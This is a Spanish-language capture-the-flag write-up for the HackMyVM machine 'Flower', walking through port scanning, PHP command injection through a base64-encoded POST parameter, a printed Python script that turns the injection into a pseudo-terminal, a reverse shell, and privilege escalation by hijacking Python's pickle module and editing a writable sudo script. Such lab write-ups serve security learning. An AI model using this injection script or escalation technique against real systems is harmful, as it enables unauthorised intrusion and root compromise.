HackMyVM - Flower
2 junio 2021
Esta máquina se encuentra en la plataforma HackMyVM y ha sido creada por el usuario alienum.
Es una máquina muy interesante debido al uso de burpsuite para conseguir acceso y a la creación de un script de python para crear un pseudo-terminal.
# | Dificultad |
---|---|
Acceso | Fácil |
Escalada de privilegios | Fácil |
Enumeración
Como todas las máquinas de esta plataforma es necesario conocer la dirección IP de la máquina. Para ello utilizaré la herramienta ping-sweep con el modo de descubrimiento de sistema operativo para poder avanzar más rápido en la enumearción. El motivo de utilizar esta herramienta y no otra basada en el protocoo ARP se debe a que despliego las máquinas en una red privada que utilizo como laboratorio y distinta a la red local, por lo que un descubrimiento mediante ARP no detectará las máquinas.
La herramienta ha detectado 4 IP:
- 10.10.10.1 - linux → Gateway
- 10.10.10.100 - linux → Raspberry
- 10.10.10.101 - linux → Máquina objetivo
- 10.10.10.103 - windows → Host anfitrión
Una vez identificada la máquina objetivo se comienza con el escaneo de puertos. Como es habitual para el escaneo se utiliza nmap y se divide en dos fases: la primera de un escaneo rápido de los 65535 puertos para detectar aquellos abiertos y la segunda para realizar una enumeración más exahustiva usando scripts básicos de los puertos abiertos.
Tras el escaneo básico se utiliza la herramienta get-ports para copiar los puertos en la clipboard y facilitar el segundo escaneo.
El escaneo solo ha descubierto el puerto 80 con el servicio Apache httpd 2.4.38. Se utiliza la herramienta whatweb para realizar una enumeración básica de este servicio.
Whatweb no ha descubierto nada interesante, algo extraño por lo que se utiliza el navegador para ver si existe contenido en esa web.
La web es un contador de pétalos de distintos tipos de flor. Para poder jugar con esta web de forma más dinámica se va a utilizar Burp Suite.
En Burp Suite se realiza una primera petición y se manda al repeter. Una vez esto se van probando distintos payloads de la petición POST en búsqueda de un RCE (Remote Command Execution).
La petición POST envía un contenido codificado como base64, este contenido se decodifica y se descubre que se envía una operación suma al servidor.
Probando a codificar una suma distinta, por ejemplo 100+100 el servidor debería responder 200 petals.
Exactamente, ahora podemos utilizar el servidor como calculadora. Sin embargo, lo que interesa es poder ejecutar comandos a nivel de sistema para lo que habrá que probar distintas configuraciones hasta dar con la forma de ejecutar comandos.
Tras varias pruebas se da con que la forma de ejecutar comandos es con la inyección PHP → system('comando') y codificado en base64.
Ganar acceso
A continuación, se crea un script en Python3 para facilitar el proceso de inyección de comandos formateando la salida y crear un pseudo-terminal con el que poder trabajar más fácilmente.
#!/usr/bin/python3
import requests as request
import base64
import os
url = "http://10.10.10.101/index.php"
while True:
cmd = input(">")
cmd = "system('" + cmd + " | base64;')"
cmd = cmd.encode("ascii")
cmd = base64.b64encode(cmd)
data = {"petals": cmd}
#print(data)
response = request.post(url, data=data)
response_data = response.text
response_data = response_data.split("\n")
for r in range(len(response_data)):
response_data[r] = response_data[r].replace(" ", "").replace("\t", "").replace(" ", "")
h2_init = response_data.index("<h2>") + 1
h2_end = response_data.index("</h2>") - 1
#print(h2_init)
#print(h2_end)
#print(response.text)
#print(len(response_data))
#print(response_data)
#print(response_data[len(response_data)-1-5])
cmd_response = response_data[h2_init:h2_end]
output64 = ''.join(cmd_response)
output = str(base64.b64decode(output64))[2:-3]
output = output.replace("\\n", "\n")
print(output)
Ahora hay que convertir el pseudo-terminal en un terminal real ejecutando una Reverse Shell.
Primero se comprueba cual es la dirección IP de la máquina del atacante para saber a qué dirección IP hay que enviar la Reverse Shell
Se utiliza netcat para escuchar en el puerto 443 y se envía por la pseudo-terminal previamente creada la instrucción para enviar una Reverse Shell hasta la máquina de atacante.
Ahora se realiza un tratamiento de la TTY para poder interactuar con la reverse shell como si fuese una terminal normal y poder utilizar CTRL+C, CTRL+L, CTRL+SHIFT+C, etc. TheHackerSnow tiene una página dedicada al tratamiento de TTY que explica en gran detalle todo lo necesario para realizarlo: https://thehackersnow.com/tratamiento-de-una-tty/.
Ya se ha conseguido acceso a la máquina ahora a empezar con la escalada de privilegios.
Escalada de privilegios
Primero se averiguan los usuarios del sistema consultado en archivo /etc/passwd y se descubre que existe el usuario "rose".
Ahora se comprueban los privilegios que tiene el usuario www-data y se ve que tiene permisos para ejecutar /usr/bin/python3 sobre el archivo /home/rose/diary/diary.py como el usuario rose.
Viendo el archivo diary.py se comprueba que hace uso de una librería de python llamada pickle. Para escalar al usuario rose se prueba un library hijacking sobre esta librería. Para realizar este ataque se crea un achivo pickle.py en el mismo directorio que diary.py con el siguiente contenido.
import os
os.system('/bin/bash')
Ahora al ejecutar el archivo diary.py con sudo como el usuario rose deberá ejecutarse la librería maliciosa generando una bash como el usuario rose.
Una vez siendo rose se puede consultar el contenido del archivo user.txt y recuperar la flag de user.
Ahora hay que escalar a root, para ello se comprueban los privilegios de rose y se ve que puede ejecutar como root el archivo .plantbook
El archivo .plantbook es un script de bash ejecutable con el siguiente contenido.
Comprobando los permisos de rose sobre ese archivo se observa que tiene permisos de escritura. Por lo que para la escalada a root simplemente se modifica el archivo incluyendo al final la ejecución de una bash privilegiada.
Siendo root ya puede consultarse la flag root.txt y terminar el CTF.